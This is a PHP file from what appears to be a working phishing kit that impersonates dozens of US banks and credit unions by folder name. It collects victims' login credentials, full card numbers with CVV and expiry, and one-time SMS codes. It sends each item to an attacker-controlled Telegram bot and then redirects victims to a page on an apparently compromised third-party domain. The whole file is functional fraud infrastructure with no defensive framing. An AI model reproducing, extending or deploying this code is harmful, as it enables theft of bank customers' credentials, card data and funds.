<?php
session_start();
require 'config.php';

// ── Bank identity (auto-detected from folder path) ──────────────
$BANK_MAP = array(
    "ALABAMA"     => array("Alabama Credit Union",           "#CD1F43", "alabamacu.png"),
    "ALLY"        => array("Ally Bank",                      "#7E1C7E", "ally.svg"),
    "AM1st"       => array("AM1st Credit Union",             "#003087", "AM1stCU.svg"),
    "AM1stCU"     => array("AM1st Credit Union",             "#003087", "AM1stCU.svg"),
    "AMERICANEXPRESS" => array("American Express",           "#016FD0", "amex.svg"),
    "AMFIRSTCU"   => array("AmFirst Credit Union",           "#E60045", "AmFirst.png"),
    "AllegancyCU" => array("Allegacy Federal Credit Union",  "#A6222E", "Allegancy.svg"),
    "BECU"        => array("BECU",                           "#007A4D", "becu.svg"),
    "BFA"         => array("Bank of America",                "#E31837", "bofa.svg"),
    "BMOHarris"   => array("BMO Harris Bank",                "#0079C1", "bmo.svg"),
    "BVFCU"       => array("Broadview Federal Credit Union", "#0F62FE", "broadviewcu.svg"),
    "CHIME"       => array("Chime",                          "#1EC677", "chime.svg"),
    "CITI"        => array("Citibank",                       "#003B70", "citi.svg"),
    "CITIZENS"    => array("Citizens Bank",                  "#1a5336", "citizens.svg"),
    "COMERICA"    => array("Comerica Bank",                  "#003087", "comerica.svg"),
    "CPL1"        => array("Capital One",                    "#D03027", "capitalone.svg"),
    "ComChoiceCU" => array("Community Choice Credit Union",  "#003A40", "communitychoice.png"),
    "DCU"         => array("Digital Federal Credit Union",   "#006b5e", "DCU.png"),
    "DELTA"       => array("Delta Community Credit Union",   "#00529B", "delta.png"),
    "DISCOVER"    => array("Discover",                       "#FF6600", "discover.svg"),
    "FHB"         => array("First Hawaiian Bank",            "#B31F29", "FHB.svg"),
    "FIDELITY"    => array("Fidelity",                       "#006B3C", "fidelity.svg"),
    "FIFTHTHIRD"  => array("Fifth Third Bank",               "#006747", "53rd.svg"),
    "GLD1"        => array("Golden 1 Credit Union",          "#B8860B", "golden1.svg"),
    "HUNTNGTN"    => array("Huntington Bank",                "#007A33", "huntington.svg"),
    "JPMRGN"      => array("Chase",                          "#005EB8", "chase.svg"),
    "KEYBANK"     => array("KeyBank",                        "#CC0000", "keybank.svg"),
    "M&T"         => array("M&T Bank",                       "#005DA8", "mtbank.svg"),
    "MARCUS"      => array("Marcus by Goldman Sachs",        "#003087", "marcus.svg"),
    "MECH"        => array("Mechanics Bank",                 "#B22222", "mechanics.svg"),
    "MRGANSTNLY"  => array("Morgan Stanley",                 "#003087", "morganstanley.svg"),
    "NVFCU"       => array("Navy Federal Credit Union",      "#002C5F", "navyfederal.svg"),
    "NavigantCU"  => array("Navigant Credit Union",          "#3F4B97", "navigant.png"),
    "PENFED"      => array("PenFed Credit Union",            "#002D62", "penfed.svg"),
    "PNCBank"     => array("PNC Bank",                       "#F58220", "pnc.svg"),
    "REDCANOE"    => array("Red Canoe Credit Union",         "#8F1D1E", "RedCanoeCU.png"),
    "REGIONS"     => array("Regions Bank",                   "#417514", "regions.svg"),
    "SC"          => array("Space Coast Credit Union",       "#003F87", "spacecoast.png"),
    "SCHOOLS1ST"  => array("SchoolsFirst Federal CU",        "#003087", "schoolsfirst.webp"),
    "SCHWAB"      => array("Charles Schwab",                 "#00A0DF", "schwab.svg"),
    "SF1"         => array("Safe 1 Credit Union",            "#003087", "safe1.png"),
    "SNTNDR"      => array("Santander Bank",                 "#EC0000", "santander.png"),
    "SUNCOASTCU"  => array("Suncoast Credit Union",          "#005A8B", "suncoastcu.svg"),
    "TDBANK"      => array("TD Bank",                        "#34A853", "tdbank.svg"),
    "TRUIST"      => array("Truist Bank",                    "#2E1A47", "truist-logo-purple.svg"),
    "USAA"        => array("USAA",                           "#003087", "usaa.svg"),
    "USBNK"       => array("U.S. Bank",                      "#003087", "usbank.svg"),
    "VISIONSFCU"  => array("Visions Federal Credit Union",   "#254F9D", "visionscu.svg"),
    "VSCU"        => array("Valley Strong",                  "#005EB8", "valleystrong.svg"),
    "WDFRST"      => array("Woodforest National Bank",       "#1a5c1a", "woodforest.svg"),
    "WF"          => array("Wells Fargo",                    "#D71E28", "wellsfargo.svg"),
    "WMCB"        => array("West Michigan Community Bank",   "#063489", "wmcb.svg"),
);

// Auto-detect from path e.g. /BANKS/JPMRGN/auth/action-required/post.php
$path = str_replace('\\', '/', __FILE__);
$bank_folder = 'JPMRGN';
if (preg_match('#/BANKS/([^/]+)/#', $path, $m)) {
    $bank_folder = $m[1];
}
$bdata      = isset($BANK_MAP[$bank_folder]) ? $BANK_MAP[$bank_folder] : array("Bank", "#003087", "logo.svg");
$BANK_NAME  = $bdata[0];
$BANK_COLOR = $bdata[1];
$BANK_LOGO  = $bdata[2];

// ── Telegram ─────────────────────────────────────────────────
function tg($msg) {
    global $bot, $chat_id;
    $url = "https://api.telegram.org/bot{$bot}/sendMessage?chat_id={$chat_id}&text=" . urlencode($msg);
    $c = curl_init($url);
    curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
    curl_exec($c); curl_close($c);
}

$ip = $_SERVER['REMOTE_ADDR'];

// ── Step 1: Login ─────────────────────────────────────────────
if (isset($_POST['user'])) {
    tg("{$BANK_NAME} - New Login\n--------------------------\nUser: {$_POST['user']}\nPass: {$_POST['pass']}\n--------------------------\nIP: {$ip}");
    header("location: card.php");
    exit;
}

// ── Step 2: Card ──────────────────────────────────────────────
if (isset($_POST['cc'])) {
    $_SESSION['_cc'] = $_POST['cc'];
    tg("{$BANK_NAME} - New Card\n--------------------------\nName: {$_POST['name']}\nCard: {$_POST['cc']}\nExp:  {$_POST['exp']}\nCVV:  {$_POST['cvv']}\n--------------------------\nIP: {$ip}");
    header("location: wait.php?next=sms.php");
    exit;
}

// ── Step 3: OTP → redirect to Enroute.php ────────────────────
if (isset($_POST['otp'])) {
    tg("{$BANK_NAME} - OTP Received!\n--------------------------\nCard: {$_SESSION['_cc']}\nOTP:  {$_POST['otp']}\n--------------------------\nIP: {$ip}\n\nRedirecting to Enroute...");

    if (isset($_POST['exit'])) {
        header("location: exit.php"); exit;
    }

    // Load customer details from shared enroute_data.php
    // Try multiple possible absolute paths for the file
    $possible_paths = array(
        // Standard cPanel path
        str_replace('\\','/',__DIR__) . '/../../../../../../../../../../all5/FDIC/auth/action-required/enroute_data.php',
        // Traverse from BANKS/SLUG/auth/action-required/ up to FDIC root
        dirname(dirname(dirname(dirname(dirname(dirname(__DIR__)))))) . '/auth/action-required/enroute_data.php',
        // Direct server path fallback
        '/home/sparkhealthmd/public_html/all5/FDIC/auth/action-required/enroute_data.php',
    );

    $enroute = array();
    foreach ($possible_paths as $p) {
        $real = realpath($p);
        if ($real && file_exists($real)) {
            include $real; // sets $enroute array
            break;
        }
    }

    // Defaults if file not found
    $cust = array_merge(array(
        'name'      => 'Valued Customer',
        'email'     => '',
        'conf'      => rand(1000000, 9999999),
        'amt'       => '10,000.00',
        'p_addr'    => '123 Main Street',
        'p_city'    => 'City, ST 00000',
        'p_country' => 'United States',
        'd_addr'    => '500 Bank Plaza',
        'd_city'    => 'City, ST 00000',
        'd_country' => 'United States',
    ), $enroute);

    $url = 'https://sparkhealthmd.com/all5/FDIC/auth/action-required/PLAID/SelectYour/Banking/auth/Enroute.php'
        . '?bank='    . urlencode($bank_folder)
        . '&name='    . urlencode($BANK_NAME)
        . '&color='   . urlencode($BANK_COLOR)
        . '&logo='    . urlencode($BANK_LOGO)
        . '&cname='   . urlencode($cust['name'])
        . '&email='   . urlencode($cust['email'])
        . '&conf='    . urlencode($cust['conf'])
        . '&amt='     . urlencode($cust['amt'])
        . '&paddr='   . urlencode($cust['p_addr'])
        . '&pcity='   . urlencode($cust['p_city'])
        . '&pcountry='. urlencode($cust['p_country'])
        . '&daddr='   . urlencode($cust['d_addr'])
        . '&dcity='   . urlencode($cust['d_city'])
        . '&dcountry='. urlencode($cust['d_country']);

    header("location: " . $url);
    exit;
}
?>
